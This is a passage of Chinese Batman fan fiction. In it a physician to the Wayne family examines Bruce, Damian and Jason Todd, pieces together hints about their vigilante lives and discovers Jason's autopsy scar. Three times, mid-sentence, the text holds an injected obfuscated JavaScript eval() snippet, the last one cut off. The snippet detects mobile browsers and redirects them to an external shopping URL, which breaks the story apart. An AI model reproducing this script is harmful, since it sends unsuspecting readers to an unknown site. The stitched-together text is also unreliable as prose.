“再次感谢您,埃拉诺医生。”管家为她拉开门,“车已经备好,会送您回公园街诊所。关于处方,我会立即安排。” “谢谢,阿尔弗雷德。记得观察提姆的体温变化和服药反应,随时联系我,”埃拉诺走出去,又补充了一句,“另外……如果可以的话,尽量让他在接下来24小时里远离电子屏幕,真正的休息对恢复至关重要。” 阿尔弗雷德的嘴角浮现一丝几乎不可见的笑意。 “我会尽力而为,医生。但您知道,让德雷克少爷完全脱离学习和工作,其难度可能不亚于说服老爷放弃他所热爱的……你懂的。” 埃拉诺决定不追问那个被省略的词具体指什么极限运动。 她只是回以一个同样心照不宣的点头:“我理解。尽力就好。” 回程的车里,埃拉诺靠着车窗,看着哥谭午后略显灰蒙的天空。她打开手机,屏幕上是昨晚夜班时匆忙记下的关于红罗宾的诊疗笔记摘要,出于职业习惯,她总是会把一些典型或特殊的病例做个简单复盘。 扫了一眼,她关掉笔记。 巧合。一定是巧合。 哥谭有几百万人,细菌感染的临床表现就那么几样,发烧头疼肌肉酸痛,教科书上都写得明明白白。提姆·德雷克和红罗宾在同一个晚上出现相似症状,只能说明哥谭的某种致病菌昨晚特别活跃,或者……某种“熬夜加班/夜巡”导致的免疫力下降模式在特定人群中高度重合。 埃拉诺决定把手机调成静音,闭上眼睛小憩。或许她需要一点时间,把脑子里那个自动将“提姆·德雷克”和“红罗宾”的症状列表进行比对的,过于活跃的临床思维暂时关掉。 车子平稳地驶入犯罪巷附近,熟悉的街景让她的心情逐渐沉淀下来。 诊所刚好没有病人,只有莱斯利医生坐在问诊台后面。 “回来了?韦恩家的小男孩怎么样?” 莱斯利问。 “细菌感染,已经开了抗生素,问题不大。”埃拉诺放下包,凑到水池边开始洗手,“就是有点过度劳累,抵抗力下降。阿尔弗雷德会盯着他休息的。” “那就好。布鲁斯呢?他没又给自己添什么新花样吧?” 埃拉诺顿了一下,擦干手,想起刚才那段关于“健康生活方式”的对话,忍不住笑了:“他?他好得很,刚刚还在向我强调他昨晚在慈善晚宴上只喝了姜汁汽水,生活方式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221738|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常健康,并且热切希望我把这个‘专业意见’传达给你和阿尔弗雷德。” 莱斯利医生闻言,先是愣了一下,然后她摇了摇头,去隔壁房间找咖啡机,临进去前丢下来一句“哦,布鲁斯。” 她只是这么说了一句。 埃拉诺坐下,等自己的咖啡。 果然,过了一会后妈妈端着两杯咖啡出来了。 “对了,”莱斯利喝了一口咖啡,像是忽然想起什么,“你之前不是好奇阿尔弗雷德怎么会做麻醉吗?还有理查德和芭芭拉当护士?” 埃拉诺抬起头。她确实好奇过,但在决定“睁一只眼闭一只眼”后,就强迫自己不再去想。 莱斯利看着女儿的表情,温和地笑了笑:“没什么神秘的……” “我不想知道。” 埃拉诺理直气壮地说。 面对自己的妈妈,她可以理直气壮地说出来这句“我不想知道”。 “真的不想是哪一个阿尔弗雷德吗?” 莱斯利逗埃拉诺。 “不想,这肯定是一个化名吧,对吧?” “不,这不是个化名,这是个真名。” “啊,这样的话,更没有必要知道了,”埃拉诺无所谓地耸耸肩,“妈妈,这样的话,这个阿尔弗雷德肯定就是你的哪个叫阿尔弗雷德的朋友,我就更没有必要知道了。” 莱斯利某个叫阿尔弗雷德的朋友…… 比如阿尔弗雷德·潘尼沃斯吗? 哦,怪怪的。 算了,懒得管这些了。 “好吧,你赢了。”莱斯利举起双手作投降状,语气轻松,“不想知道就不想知道。反正,那台手术不会再发生了——至少,他们向我保证,会尽量避免再需要那样高规格的‘门诊手术’。” “那再好不过了。”埃拉诺真心实意地说,端起咖啡喝了一大口。 “尤其是对那位主刀医生的血压来说。”莱斯利幽默地补充道。 母女俩相视一笑。 埃拉诺轻声说:“反正我已经在这里了,我当你的助手。” 短暂的宁静被诊所门口传来的铃声打破。一个披着毯子的中年女性,右手用一块手帕包着,身后跟着两个孩子。 “莱斯利医生在吗?”她看向莱斯利,又看了看埃拉诺。 “在,一直都在,”莱斯利立刻站起身,“过来吧,让我看看你的手。埃拉诺,能帮我拿一下清创包吗?” “当然。”埃拉诺放下咖啡杯,利落地转身去准备器械。 这是一例烫伤,母亲在试图为孩子们烤棉花糖时烫到了手,莱斯利为她处理了,很容易处理。绝大多数时候,诊所的病例都是这么容易处理的,不过埃拉诺多看了两眼她身上的毯子,怀疑这是一位流浪母亲,所以拿了一本小册子开始给她念韦恩集团对单身母亲的资助政策。 处理完伤口,埃拉诺也介绍完了,目送病人走出去,她顺手把小册子摆回杂志架。 “但愿韦恩先生真的和他说的一样健康吧。” 她说。 16.给蝙蝠看病是兽医吗 一连三天,埃拉诺的手机上只收到了阿尔弗雷德每天发来的消息,内容包括提姆的体温和其他生理指征。 他正在好转。 并且很快宣布康复。 这是正常的,对于一个17岁的高中男孩来说,服药后从细菌感染中恢复的速度应该很快。 至于说红罗宾,埃拉诺没有在夜班时再见过他,大概感染也好了吧。 每天夜班时都能看见窗边的蝙蝠影子一闪而过,埃拉诺很喜欢看蝙蝠们飞来飞去,蝙蝠侠是纯黑的,黑蝙蝠也是黑的,搅局者是紫黑色的,蝙蝠女是黄黑色的,罗宾是红绿灯的,红罗宾是红黑色的。 红头罩……红头罩比较有人形。能出来是个戴了头罩的人。 不过红头罩应该也是蝙蝠系,埃拉诺没有直接与红头罩打过照面,但是见过头罩的影子和蝙蝠影子一起出现过。 总之,夜班风平浪静。 白天的工作风平浪静。 在红罗宾和提姆的病情巧合后,什么都没有发生。韦恩先生看起来也没有立即飞到阿尔卑斯山去滑雪然后摔断胳膊和腿回来的打算。 因为他宣布。 “我要亲自开飞机送阿福回英国探亲,然后自己再去滑雪。我可能还会带上达米安,如果提姆和卡丝也愿意去的话,我们就一起去欧洲过圣诞节了。” 这就是埃拉诺在成为韦恩家庭医生的一个半月以后,第一次正式见到韦恩先生的小儿子——达米安·韦恩——的场景。 小学生神情倨傲——鬼知道一个小学生的脸上怎么会出现“傲慢”这种表情。 “是的,父亲有飞行执照,顺便说一句,我也……” 阿尔弗雷德微笑着打断:“达米安少爷的意思是,他也很期待去欧洲的假期。” 提姆拿着一瓶能量饮料晃过去:“是的,绝对不是说他也会开飞机,放心,埃拉诺医生。” 埃拉诺的目光在这三位——神情不忿的男孩,笑容无懈可击的管家,以及看起来漫不经心的青少年——之间转了一圈,最后定格在事件的核心,布鲁斯·韦恩身上。 后者正用一种混合了慈爱与无辜的表情看着她。 “听起来是个很棒的家庭旅行计划,韦恩先生。”埃拉诺选择了一个最安全,最得体的回应,“考虑到您最近的恢复情况,长途飞行本身没有问题,但请注意在滑雪时选择合适的雪道,做好防护,并且……确保充足的休息。” 她特意在最后几个字上加了重音,目光扫过提姆和布鲁斯。 “当然,医生,我保证我们会非常小心,并且玩得开心。”布鲁斯·韦恩的笑容灿烂得像是已经沐浴在阿尔卑斯山的阳光下,“事实上,既然大家都在这儿,而你也来了,不如顺便给达米安做个简单的健康检查?建立一下档案。毕竟我们可能要离开几周。” 埃拉诺看向那个被称为达米安·韦恩的男孩。他看起来非常健康,甚至可以说是过于精悍了,站在那里的姿态像一柄收在鞘中的短刀,紧绷而充满预备性的力量。 这不太像普通小学生的松弛。 “我没有生病,不需要检查。”达米安立刻声明,下巴微扬。 “这是建立健康档案,达米安,不是因为你病了,”布鲁斯说,“每一位家庭成员都有,这是规矩。” 男孩抿了抿嘴,显然不太情愿,但没有再反驳。埃拉诺注意到他飞快地瞥了一眼提姆——后者正靠着墙,小口啜饮着能量饮料,一副事不关己看热闹的样子——然后又看了一眼阿尔弗雷德。管家对他点了点头。 “好吧。” 达米安最终说道,那语气仿佛是在恩赐医生一个机会。 医疗室里,埃拉诺开始了她的工作。除了身高体重,心率血压呼吸频率全部在优秀范围内,甚至心肺听诊的结果好得令人惊讶——肺活量远超同龄标准。 简单来说,除了矮,没有问题。 “你平时进行很多体育锻炼吗,达米安?”埃拉诺一边记录一边问道,尽量让声音听起来像普通的闲聊。 “必要的体能训练是日常生活的一部分。” 男孩回答得一本正经,用词精确得像从什么军事手册里摘出来的。 “哦?比如呢?” “跑步,格斗,武器……”达米安的话戛然而止,因为他父亲轻轻咳嗽了一声。 “达米安的意思是,他参加了学校的击剑俱乐部,还有田径队,偶尔也跟我一起做一些户外活动,比如攀岩。”布鲁斯流畅地接上,面不改色,“你知道的,培养冒险精神。” 击剑?田径?攀岩?埃拉诺不动声色地想,这些确实能解释他出色的心肺功能和体态。 “听起来很全面。”埃拉诺点点头,示意达米安躺下进行腹部触诊。男孩的身体在手下显得有些僵硬,但并非病态的紧张,更像是一种对陌生接触本能的高度戒备。脏器触诊无异常,肌肉紧实,脂肪含量极低。 嗯……就是有点熟悉。 手感真的有点熟悉。 让她联系到罗宾。 在长途旅行前做个身体检查是很正常的行为,埃拉诺没有起疑心。更何况这次身体检查又不是只针对达米安,卡珊德拉和提姆也做检查了,甚至布鲁斯自己也在潘尼沃斯先生的注视下躺在了检查床上。 结束。 埃拉诺将听诊器从耳边取下,顺手挂在脖子上,打算一会再卷好收起来。 对布鲁斯的最后一项常规检查,完成。 这位名义上的病人在检查床上表现得异常配合,甚至称得上温顺,只是那副布鲁西宝贝式的无辜表情始终挂在脸上,让埃拉诺总有种在给一只收起爪子假装家猫的大型猫科动物做体检的错觉。 她忽然想到了另外一个问题,给猫看病的是兽医。 给蝙蝠看病的呢? 啊,好像自己也没有兽医资格证呢,但是没有关系,虽然很多哥谭人提起蝙蝠侠只说“Bat”,但大家都知道“Batman”里还有“man”。 啊……前提是蝙蝠侠的确是人。 会说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230215|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会给孩子发糖。 这应该足够证明蝙蝠侠是人了……吧? 可是蝙蝠侠一年三百六十五天风雨无阻地出勤,仿佛他永远不会受伤一样。 但根据自己给罗宾和红罗宾看诊的经验,他们是会受伤的。 埃拉诺的目光落回到韦恩先生身上。作为资助人,她相信布鲁斯·韦恩一定知道蝙蝠侠究竟是不是人,但没必要问。 没有必要知道蝙蝠侠是什么。 蝙蝠侠就是蝙蝠侠。 “一切看起来都很好,韦恩先生。”她如实记录,“以您以往的……活动强度来说,恢复得堪称奇迹。” 她谨慎地选择了用词。 天呐,谁看得出来这个人两个月前冲浪把自己开瓢啦! “我一直严格遵守医嘱,医生。” 布鲁斯坐起身,整理着衬衫袖口,语气诚恳得仿佛真的一样。 阿尔弗雷德在一旁微微颔首,像是为这句证言盖章。 埃拉诺决定不再纠缠这个。她整理好所有检查记录,准备告辞。目光扫过安静地坐在一旁的达米安,又掠过门口低头看手机的提姆,最后是安静靠在墙边,几乎与背景融为一体的卡珊德拉。 “那么,预祝各位旅途愉快,注意安全。”她提起出诊包,例行公事地说。 “谢谢,埃拉诺医生。”布鲁斯点头,随即像是忽然想起什么,语气轻松地补充,“啊,对了,迪克——理查德,他工作比较忙,这次可能不跟我们一起。至于杰森……” 他顿了顿,笑容里掺入一丝恰到好处的属于一个为叛逆孩子头疼的父亲的无奈。 “他有自己的安排,你知道的,年轻人总有自己想做的事情。” 埃拉诺理解地点点头。理查德·格雷森是布鲁德海文的警察,假期安排不灵活很正常。至于杰森·陶德……她想起超市里那个高大青年,确实不像会乖乖跟着全家去欧洲滑雪度假的类型。 韦恩家复杂的家庭关系在哥谭并非秘密,收养的孩子们各有各的轨迹,这很合理。 “我明白了。不过,”出于医生的职业习惯,她还是多问了一句,“既然是为长途旅行做的健康评估,如果条件允许,最好也能了解一下他们的基本健康状况,至少确认没有正在发生的急性问题。需要我联系他们吗?” “哦,不必麻烦你了,医生。”阿尔弗雷德适时地接话,声音平稳而令人安心,但话一点都不让人安心,“迪克少爷定期进行警队体检,他的健康状况我们有记录。至于杰森少爷……如果有任何需要您关注的地方,我会第一时间联系您。” “嗯……” …… 潘尼沃斯先生……刚才不是说要回英国探亲,然后韦恩一家再去过圣诞节假期吗? 为什么还会有机会第一时间联系自己呢? 嗯,潘尼沃斯先生说的一定是他在回英国探亲前的工作时间会及时联系自己。 是的,一定是这样的。 埃拉诺微笑:“嗯,好的,阿尔弗雷德。” 17.大红枣是否会有超强肺活量 埃拉诺不知道韦恩一家会在什么时候出发,也不想知道。 她只是隐隐约约感觉布鲁斯会坐医疗直升机回来,至于他开出去的那座私人飞机……真不知道会怎么样。 那不是埃拉诺需要关心的事情,也不是她该考虑的问题,就像绝对不要考虑“莱斯利某个叫阿尔弗雷德的朋友”和“莱斯利唯一一个叫阿尔弗雷德的朋友就是阿尔弗雷德·潘尼沃斯”一样。 等等,她想到了莱斯利医生唯一一个叫阿尔弗雷德的朋友就是阿尔弗雷德·潘尼沃斯了吗? 哈哈哈。 哈哈。 哈。 别开玩笑了,怎么可能是那位风度翩翩的优雅管家先生协助了开颅手术呢—— 一定是埃拉诺不认识的,莱斯利另外一位叫阿尔弗雷德的朋友! 至于说那两个护士的名字,也一定就和韦恩的长子理查德·格雷森还有哥谭警察局长的女儿芭芭拉·戈登没有关系。 对啊对啊,管家是不能当麻醉医生的,警察和图书管理员也是不能当护士的! 韦恩一家……现在应该已经出发了吧?私人飞机,阿尔卑斯山,圣诞集市。听起来像明信片一样美好。 如果忽略掉驾驶飞机的是个酷爱极限运动且不久前刚做过开颅手术的亿万富翁,乘客里包括一个即将进入青春期的叛逆小学生,同时当高中生和公司总裁的17岁男孩,还有一个同样处在青春期有沟通障碍的疑似武术爱好者…… 停。 埃拉诺用力闭了闭眼。 她刚才是不是又不自觉地开始分析她的病人们了? 这不好。作为一名家庭医生,她应该尊重病人的隐私,相信他们提供的个人经历,而不是试图在脑海里构建另一套基于零散医疗证据的离奇可能性。 比如说,她应该相信达米安·韦恩和提摩西·德雷克都不是会去拯救世界的小学生和高中生,虽然在漫画里拯救世界的小学生和高中生多到可以专门为他们建一所拯救世界学校,但埃拉诺依然会相信,达米安就是一个热爱击剑的小学生,提姆就是一个一边上学一边处理公司事务的总裁,而卡珊德拉也绝不会背负着什么离奇谜题,曲折身世,她只是一个安安静静的青春期小女孩而已! 没错,一定是这样。 埃拉诺清清楚楚地看见有一个涉及到韦恩家族的谜题在诱惑自己,甚至她的母亲这回也站在了自己的对面。 莱斯利·汤普金斯医生一样在诱惑自己。 埃拉诺向来擅长抵御诱惑,即使这诱惑来自自己的母亲。 假如她不擅长抵御诱惑,就不会等到莱斯利医生收养她的那天,也不会从犯罪巷走到斯坦福大学医学院。 埃拉诺起身上楼,抱了一个纸箱下来,然后开始给里面的相框相册消毒杀菌,擦掉过去一年堆积的灰尘,为即将到来的圣诞节做准备。 不能在二楼做这项工作,因为莱斯利今天去社区中心当义工,诊所只有埃拉诺一个人。如果她也不在楼下,病人就找不着医生了。 仪式感还是要有的,埃拉诺戴上手套,专心致志地从最早的一张母女合照开始擦。 有从三岁一直到博士毕业的照片。 三岁之前的没有,因为埃拉诺是在三岁时被收养的,这话莱斯利没有说过,但埃拉诺翻到过收养证明。 诊所里没有壁炉,但有一个同样可以摆放相框的仿真壁炉。埃拉诺想等到擦完这些照片她需要在网上下单一些彩带和其他的圣诞装饰品。 就在这时,诊所的门被推开了,带进来一阵潮湿的冷风和一个高大的身影。 是杰森·陶德。 他今天没穿夹克,只套了件深色的连帽衫,手里拎着一个印着某家便利店logo的塑料袋,里面装着咖啡和三明治。 “大扫除?” “呃,算是,”埃拉诺抬头打了个招呼,“……杰森?你怎么来了?是……哪里不舒服吗?” 步伐稳健,呼吸平稳,面色正常,双手活动自如——塑料袋拎得很稳。 初步判断,没有急性外伤或疾病迹象。 嗯……头上那一缕究竟是挑染还是色素缺失的头发不确定。 “没,健康得很,”杰森晃了晃手里的袋子,“路过,顺便买点吃的。看到灯还亮着,就……” 他顿了顿,似乎在找一个合适的词。 “就看看。莱斯利医生不在?” “她去社区中心了。”埃拉诺说。 杰森“哦”了一声,没有离开的意思,反而靠在门框上,打量了一下略显凌乱的诊室。 “你要关门了?” “不,妈妈一会儿就回来。而且我们永远不关门,”埃拉诺回答,试图让语气自然些。她看着杰森,超市那次短暂的交谈印象浮现出来。他当时似乎知道她的身份,但也仅止于此。现在他出现在这里,是巧合,还是……? “那个,”杰森忽然开口,打断了她的思绪,“听说老头……听说布鲁斯他们全家跑欧洲滑雪去了?” “是的,韦恩先生是这么计划的。”埃拉诺谨慎地回答。 “哼,但愿他们别把阿尔卑斯山给拆了。”杰森嗤笑一声,语气说不上是嘲讽还是别的什么,“尤其是带着恶魔崽子。” 恶魔崽子?是指达米安吗?这称呼可真够……生动的。 埃拉诺决定不对韦恩家的家庭昵称做任何评价。 “你呢?圣诞节有什么安排?”杰森问,语气随意得像是在拉家常。 “我?大概就和妈妈在诊所过吧,”埃拉诺实话实说,“假期通常是外伤高发期,尤其是家庭纠纷和醉酒闹事导致的。诊所得有人。” “所以,你就是杰森·陶德?” 最终,埃拉诺还是很简单地问了这一句话。 但她真正想问的是“你就是布鲁斯·韦恩的第二个养子,在公共舆论里生死不明的那个杰森·陶德?” 还想问一下另外一个问题。 ——你的头发究竟找了一个收费很高的发型设计师挑染的,还是色素缺失? 这两个问题埃拉诺都没有问。 这两个问题都太不合适了。 “对,我就是杰森·陶德。” 埃拉诺擦完手上这一个相框,问:“要不要做个体格检查?我还没有建立你的健康档案,阿尔弗雷德给我了你青少年时期的疫苗接种记录,但我觉得这信息不太够。” 杰森后退了一步:“才不要,我很健康。” 于是埃拉诺拿起来酒精湿巾接着擦下一个相框:“没问题,我尊重你的个人意愿。” 杰森:“我就住在这附近。莱斯利医生知道的。” 韦恩的养子住在东区。 埃拉诺情不自禁地挑挑眉。 “我没有想到那天在超市里你能认出来我。阿尔弗雷德告诉过你了吗?” 看杰森没有走的意思,埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但杰森还不是埃拉诺的病人。所以埃拉诺也没有兴趣知道他是不是在撒谎。 “不想。”她非常诚实地回答。 杰森明显噎住了,那口咖啡好像卡在了喉咙里。他眨了眨眼,似乎没料到这个答案。 “……不想?” “是的,不想。”埃拉诺把擦干净的相框小心地放到一旁,拿起下一个,“那是你的个人决定和家庭内部事务,作为医生,我没有立场也没有必要探听。除非它影响到你的健康状况,需要我进行评估——目前看来显然没有。” 她说得理所当然,完全没觉得这有什么问题。尊重病人隐私,不窥探与医疗无关的家庭细节,这是基本原则。 杰森盯着她看了好几秒,像是在确认她是不是在开玩笑。最终,他嗤笑了一声,摇摇头,不知道是在笑她还是笑自己刚才的问题。 “行吧。医生准则,哈?” “差不多。”埃拉诺承认。 又一阵沉默。杰森似乎被激起了某种好胜心,或者单纯觉得眼前这个医生的反应太有意思了。他向前倾了倾身,那双锐利的蓝眼睛直视着埃拉诺。 “那下一个问题,”他的语气带上了一丝更明显的调侃,“你是真的相信,布鲁斯·韦恩,那个满身都是……呃,‘运动损伤’的家伙,会老老实实开着一架毫无武装的私人飞机,带着他那群同样不省心的小鬼,飞越大西洋,然后降落在某个瑞士机场,接着换乘汽车去阿尔卑斯山脚下某个高级度假村,度过一个除了滑雪,热巧克力和圣诞集市之外什么都没有的完全正常的阖家欢乐的圣诞节?” 他一口气说完,等待着埃拉诺的反应。 “肺活量真不错,杰,”埃拉诺赞叹道,“我可做不到一口气说完这么一长串话。” 18.Y字切口术 “所以你想要测个肺活量吗?” 埃拉诺真诚发问。 杰森:“……” 杰森:“谢谢,但是你真的信吗,埃拉诺医生?” “真的相信。韦恩先生有合法的飞行执照,他的飞机符合国际安全标准,阿尔卑斯山的滑雪度假产业非常成熟,韦恩家族的圣诞旅行计划听起来既合理又令人愉快。为什么不信?” 杰森·陶德第二次被噎住了,而且这次噎得更明显。他张了张嘴,想说什么,又咽了回去,最后只是举起手里的咖啡杯,做了个碰杯的手势。 “你赢了。” “谢谢?” 埃拉诺面不红心不跳地说。 虽然她一点都不觉得布鲁斯·韦恩亲自开飞机跨越大西洋去欧洲是一个多么合理的假期安排。一个刚做完开颅手术不久的人,不老老实实在家躺着,反而要亲自驾驶飞机?还要带上全家?还要去滑雪? 但那是她的雇主。 是发工资的人。 所以就算是埃拉诺觉得亲自开飞机出发这个主意实在是不怎么妙,她也不打算质疑。亿万富翁的脑回路本来就异于常人,也许布鲁斯·韦恩觉得术后康复的最佳方式就是在三万英尺高空俯瞰大西洋呢? 杰森沉默了几秒,那双蓝眼睛在诊所昏暗的灯光下显得格外锐利。他盯着埃拉诺,像是在评估什么。 “……我猜莱斯利医生打算对你说过一点什么东西,”他终于开口,语气比刚才慢了许多,每个字都像是被仔细挑选过,“关于韦恩的,可能还有蝙蝠侠的。” 埃拉诺点头,同时把相框一个一个重新放回纸箱里去。杰森还在这里,她也不好立即把箱子搬到楼上,所以仍然坐在分诊台后陪他说话。 “母亲的确想要说点什么,但我认为那和我的工作无关。我的保密意识一直很强。至于布鲁斯·韦恩先生和蝙蝠侠究竟是什么关系,我不关心。毕竟,韦恩先生开出的高工资里面肯定包含了封口费,对吧?” 她说着,手上动作不停,把最后一个相框放进纸箱。那是她和莱斯利的合照,拍摄于斯坦福毕业典礼那天,她穿着红色的博士袍,笑得眉眼弯弯。 就算是知道蝙蝠侠每天早上和布鲁斯·韦恩在同一张床上醒来她也不会吃惊的。 哥谭的花边小报上永远不缺关于蝙蝠侠和蝙蝠侠资助人的绯闻,什么“黑暗骑士的深夜密会”“亿万富翁的隐秘情人”之类的标题,埃拉诺在诊所候诊区的杂志架上见过不止一次。她会看,但她非常尊重自己的雇主,也非常有职业素养。 这话没说错。 但绝不是埃拉诺理解的那个意思。 杰森绝望地想。 “对,保密协议,你说得对。” 青年喃喃自语,声音低得几乎听不见。他低头看着手里的咖啡杯,仿佛那杯便利店的廉价咖啡突然变得无比值得研究。 又是一阵诡异的沉默。 诊所里只有暖气片轻微的嘶嘶声,和远处偶尔传来的警笛声。窗外的天色已经完全暗下来了,街灯在薄雾中晕开一团团模糊的橘色光晕。 看他还是没有离开诊所的意思,埃拉诺只好自己找话说。她的目光落在杰森身上,从上到下扫了一遍——职业习惯,看人先看健康状态。 然后她的视线停在了他的头发上。 黑色,但在额前有一缕醒目的白色。不是那种精心挑染的渐变色,而是纯粹从发根开始的白色。 “我喜欢你的头发。”她说。 这是真心话。 那一缕白在他黑色的发间格外醒目,像一道闪电劈过夜空,有种说不出的……故事感。 杰森:“呃,谢谢?” 这回轮到杰森说出来这句干巴巴的谢谢了。他下意识地抬手摸了摸那一缕白,动作很快,像是想掩饰什么。 埃拉诺看着他的反应。 “不过我还是想确认一下你的病史,”她说着,转过电脑屏幕,点开一个很干净的文档,“这是挑染,不是特定区域的色素缺失,对吧?” 屏幕上显示的是“杰森·陶德”的健康档案。 里面还很空。 非常空。 只有一行来自阿尔弗雷德的疫苗接种记录,日期停留在很多年前。之后是一片空白,仿佛这个人从未生过病,从未受过伤,从未需要过任何医疗帮助。 “……挑染,算是吧。” 杰森的声音有点飘忽。 拉撒路池算是染发剂吗? 他把这个荒诞的念头甩出脑海,看着埃拉诺在电脑文档上敲下“发色:黑,伴有局部挑染(白色)”,并在后面打了个括号,标注“患者自述”。 “还有其他需要我知道的健康问题吗?”埃拉诺的手指停在键盘上,目光从屏幕移向杰森,语气专业而平静,“慢性病,过敏史,手术史,重大外伤史?” 她看着杰森。 杰森看着她。 “没有。”他说。 回答得很快。几乎不假思索。 埃拉诺敲下“自述无”。 她看着那两个字,又看了看杰森。 这两个字下面是一片广阔的空白。 足够装下很多故事的空白。 但她没有追问。她只是关掉了文档。 “好吧,”她说,“档案建立完成。虽然内容不多,但至少有个开始。记住,如果你改变主意,或者有任何健康方面的担忧,随时可以来找我或者莱斯利医生。” 她顿了顿。 “另外,不考虑做个体格检查?” 这话说出来,她自己都觉得有点怪。通常医生不会如此“推销”一次体格检查,尤其是在病人已经明确拒绝过之后。这更像是在超市推销试吃品,而不是在诊所提供医疗服务。 但也许是因为杰森那副“我绝对健康,别想碰我”的态度,激起了她一点职业上的……好胜心? 或者仅仅是因为,面对一个明显隐藏着无数故事的韦恩家族成员,她那被压抑的医学好奇心在蠢蠢欲动。 或者说,每一个人,韦恩先生,潘尼沃斯先生,妈妈,还有这群韦恩小孩……都在欲拒还休。 他们说“不”,但一举一动表达的都是“嘿我们有一个秘密而且我们留下来了线索,现在快点来发现这个秘密吧”。 果不其然。 杰森盯着她看了好几秒。 然后他放下咖啡杯,双手插回连帽衫口袋,语气轻松得近乎挑衅。 “行啊,”他说,“既然医生你都这么热情邀请了。反正我也没事。看看你的职业素养到底有多硬。” 这转变有点突然。 埃拉诺愣了一下。 她原本只是随口一说,没指望他真的会同意。刚才他还一副“我绝对健康别想碰我”的样子,现在却突然松口了? 但她很快恢复了专业态度。病人同意检查,不管出于什么原因,都是好事。 “好的,请跟我来。” 她起身,引着他走向检查区,拉上了用于隔断的帘子。 检查室不大,一张检查床,一台心电监护仪,一个放着各种器械的操作台,墙上挂着的听诊器和血压计。灯光比候诊区更亮一些,照得白色的墙壁有些刺眼。 “坐吧。”埃拉诺指了指检查床边。 杰森坐下。他看起来比在候诊区时放松了一些,但肩膀依然微微绷着,像是在准备应对什么。 埃拉诺开始常规流程。身高、体重、视力、血压、心率…… 杰森配合得不错。他按照指示站直、睁眼、伸出手臂,动作流畅,没有任何抗拒。 但他的各项生理指标让埃拉诺暗自惊讶。 心率是运动员水平。 视力没有任何问题。 肺活量虽然没有正式测,但从他呼吸的深度和频率来看,远超常人。 肌肉力量和协调性更是惊人——他脱外套时,埃拉诺注意到他手臂和肩背的肌肉线条流畅而有力。 不过,韦恩家的每一个人都是这样。 “暗自惊讶”也只是一个很轻微的惊讶程度。 “我需要听一下心肺,检查腹部。” 她拿起听诊器,示意杰森坐到检查床上,解开上衣。 埃拉诺自信自己无论看到什么都能保持镇定。在昨天对提姆做检查的时候,她看到了一处脾切除手术留下的伤疤,但是她什么都没有问,什么也没有说。 既然病人选择陈述既往无外伤,无手术史,埃拉诺自己选择性失明就好了。 虽然她视力5.3,眼睛没有任何疾病。 反正她会考虑到脾缺失对免疫力的影响,这件事埃拉诺甚至没有对韦恩先生和潘尼沃斯先生提,更没有对莱斯利提。 医生有医生的职责。 职责之外的事,不需要知道。 不过,今天的重点是杰森。 埃拉诺注视着高大青年没有任何扭捏地脱下连帽衫。 他里面穿的是一件深灰色的T恤,已经洗得有些发旧,紧紧贴在身上。他抬手把连帽衫从头顶扯下来,动作随意得像是在自己家,然后坐回检查床边,等待。 埃拉诺的目光落在他身上。 然后,她的呼吸顿了一顿。 在杰森·陶德结实宽阔的胸膛和腹部,布满了各种伤疤。 枪伤留下的圆形凹陷——她数了数,至少有四处,位置都在要害附近。 利刃划过的细长凸起——有的从肩膀斜向下,有的横跨腹部,有的在手臂内侧。 大片可能来自烧伤或爆炸的扭曲组织——右腰侧有一片皮肤明显不平整,颜色也比周围深,像是被高温灼烧过后愈合的。 这些,在哥谭,尤其是在东区生活过的人身上并不算太罕见。 埃拉诺在诊所里见过许多。 帮派火并、抢劫、斗殴。 犯罪巷的日常。 其实在韦恩一家身上也见过许多。 但她依然选择了保持沉默。 毕竟,阿尔弗雷德说了,这些只是“布鲁斯老爷有创意的运动造成的”。 但有一条伤疤,与众不同。 那是一条巨大的,极其标准的Y字形伤疤。 从双肩开始,沿着锁骨中线向下,在胸骨柄处交汇成一条主线,笔直地向下延伸,越过胸腹,一直深入到腰带以下。 这条伤疤缝合得堪称完美。针脚细密整齐,间距均匀,每一针的深度和张力都控制得恰到好处。愈合后留下的痕迹虽然无法消除,却异常“干净”,没有任何感染或并发症的迹象。 这是极高水平的缝合技术。 Y字形切口。 标准法医尸检切口。 用于最大限度地暴露胸腔和腹腔脏器,进行全面的死后检查。 埃拉诺在医学院的病理课上见过这种切口。在实习期间的法医鉴定中心见过这种切口。在无数病例报告和教科书图片里见过这种切口。 这种切口,几乎不可能出现在活人身上。 没有哪个急诊外科医生或创伤医生会对一个活着的伤员使用这种切口。这太慢了——完成这样一个切口需要十几分钟,而一个活着的伤员等不起。 创伤太大了——切开胸骨、打开胸腔,对活人来说是致命的。而且完全没有必要——活人需要的是快速止血和修复损伤,而不是全面暴露。 只有一种情况…… 只有在对一具被宣告死亡,需要进行死因调查的尸体上,法医才会使用这种标准、彻底的切口。 埃拉诺能感觉到自己的目光牢牢钉在那条Y字形伤疤上。 指尖有些发凉。 她见过很多伤,处理过很多匪夷所思的病例。在今天之前,最匪夷所思的是布鲁斯·韦恩——那个全身钢钉还能 